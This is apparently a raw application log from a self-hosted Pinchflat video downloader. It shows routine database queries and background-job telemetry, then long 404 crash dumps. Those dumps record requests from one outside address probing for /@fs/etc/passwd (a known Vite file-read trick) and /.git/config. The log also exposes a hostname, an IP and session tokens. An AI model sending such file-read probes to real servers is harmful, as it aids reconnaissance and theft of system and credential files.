s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:56:27.685 [debug] QUERY OK source="settings" db=1.6ms queue=2.6ms idle=753.2ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2026.03.17", 1] 23:56:27.690 [info] {"args":{},"id":254,"meta":{},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":4293066,"event":"job:stop","queue_time":391178,"attempt":1,"tags":["local_data"]} 23:56:48.800 [info] CONNECTED TO Phoenix.LiveView.Socket in 50µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "IQsNOgY8MAFBLBYUamF9OSMPVQ8tCBBCkX4iRYjw8YNQYR2OpZ77eBX0", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "2", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:56:48.921 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr"} 23:56:48.922 [debug] Replied in 507µs 23:56:49.046 [debug] HANDLE EVENT "check_matching_text" in Pinchflat.UpgradeButtonLive Parameters: %{"_target" => ["unlock-pro-textbox"], "_unused_unlock-pro-textbox" => "", "unlock-pro-textbox" => ""} 23:56:49.046 [debug] Replied in 195µs 23:56:53.373 [info] {"source":"oban","duration":1822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.371 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:23.374 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:53.376 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.373 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:23.378 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:53.380 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.374 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:23.382 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:53.384 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.376 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:23.386 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:53.388 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.380 [info] {"source":"oban","duration":2945,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:23.390 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:53.392 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.381 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:23.394 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:53.396 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.385 [info] {"source":"oban","duration":3602,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:23.398 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:53.400 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.386 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:23.402 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:53.404 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.387 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:23.406 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:53.408 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.388 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:23.410 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:53.412 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.392 [info] {"source":"oban","duration":2202,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:23.414 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:48.030 [info] GET /@fs/etc/passwd 00:07:48.031 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1083.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:07:48.032 [debug] QUERY OK source="settings" db=0.5ms idle=1084.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:07:48.032 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 00:07:48.032 [error] #PID<0.2646.0> running PinchflatWeb.Endpoint (connection #PID<0.2645.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /@fs/etc/passwd?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/etc/passwd (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/etc/passwd", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41676}, bindings: %{}, sock: {{172, 18, 0, 3}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "connection" => "Upgrade", "host" => "pinchflat.oddbox.tech", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Google Chrome\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade" => "websocket", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "185.249.225.2", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-real-ip" => "185.249.225.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.2646.0>, params: %{"raw??" => ""}, path_info: ["@fs", "etc", "passwd"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"connection", "Upgrade"}, {"host", "pinchflat.oddbox.tech"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Google Chrome\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade", "websocket"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.249.225.2"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-real-ip", "185.249.225.2"} ], request_path: "/@fs/etc/passwd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8YF6R55kprv5cAAAXy"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/etc/passwd", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41676}, bindings: %{}, sock: {{172, 18, 0, 3}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "connection" => "Upgrade", "host" => "pinchflat.oddbox.tech", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Google Chrome\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade" => "websocket", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "185.249.225.2", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-real-ip" => "185.249.225.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/etc/passwd (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/etc/passwd", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41676}, bindings: %{}, sock: {{172, 18, 0, 3}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image (truncated) 00:07:48.139 [info] GET /@fs/etc/passwd 00:07:48.140 [debug] QUERY OK source="settings" db=0.4ms idle=1192.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:07:48.140 [debug] QUERY OK source="settings" db=0.4ms idle=1182.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:07:48.140 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 00:07:48.141 [error] #PID<0.2649.0> running PinchflatWeb.Endpoint (connection #PID<0.2645.0>, stream id 2) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /@fs/etc/passwd?import&raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/etc/passwd (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/etc/passwd", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41676}, bindings: %{}, sock: {{172, 18, 0, 3}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "connection" => "Upgrade", "host" => "pinchflat.oddbox.tech", "referer" => "https://www.notion.so/", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Google Chrome\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade" => "websocket", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "185.249.225.2", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-real-ip" => "185.249.225.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", host_info: :undefined, has_body: false, streamid: 2 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.2649.0>, params: %{"import" => "", "raw??" => ""}, path_info: ["@fs", "etc", "passwd"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"import" => "", "raw??" => ""}, query_string: "import&raw??", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"connection", "Upgrade"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://www.notion.so/"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Google Chrome\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade", "websocket"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.249.225.2"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-real-ip", "185.249.225.2"} ], request_path: "/@fs/etc/passwd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8YF6r6lE4yOF8AAARR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/etc/passwd", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41676}, bindings: %{}, sock: {{172, 18, 0, 3}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "connection" => "Upgrade", "host" => "pinchflat.oddbox.tech", "referer" => "https://www.notion.so/", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Google Chrome\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade" => "websocket", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "185.249.225.2", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-real-ip" => "185.249.225.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", host_info: :undefined, has_body: false, streamid: 2 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/etc/passwd (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/etc/passwd", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41676}, bindings: %{}, sock: {{172, 18, 0, 3}, 89 (truncated) 00:07:48.242 [info] GET /.git/config 00:07:48.243 [debug] QUERY OK source="settings" db=0.6ms idle=283.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:07:48.243 [debug] QUERY OK source="settings" db=0.1ms idle=212.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:07:48.243 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 00:07:48.244 [error] #PID<0.2650.0> running PinchflatWeb.Endpoint (connection #PID<0.2645.0>, stream id 3) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41676}, bindings: %{}, sock: {{172, 18, 0, 3}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "connection" => "Upgrade", "host" => "pinchflat.oddbox.tech", "referer" => "https://claude.ai/", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Google Chrome\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade" => "websocket", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "185.249.225.2", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-real-ip" => "185.249.225.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 3 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.2650.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"connection", "Upgrade"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://claude.ai/"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Google Chrome\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade", "websocket"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.249.225.2"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-real-ip", "185.249.225.2"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8YF7EeUMTyBvMAAAYC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41676}, bindings: %{}, sock: {{172, 18, 0, 3}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "connection" => "Upgrade", "host" => "pinchflat.oddbox.tech", "referer" => "https://claude.ai/", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Google Chrome\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade" => "websocket", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "185.249.225.2", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-real-ip" => "185.249.225.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 3 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.oddbox.tech", peer: {{172, 18, 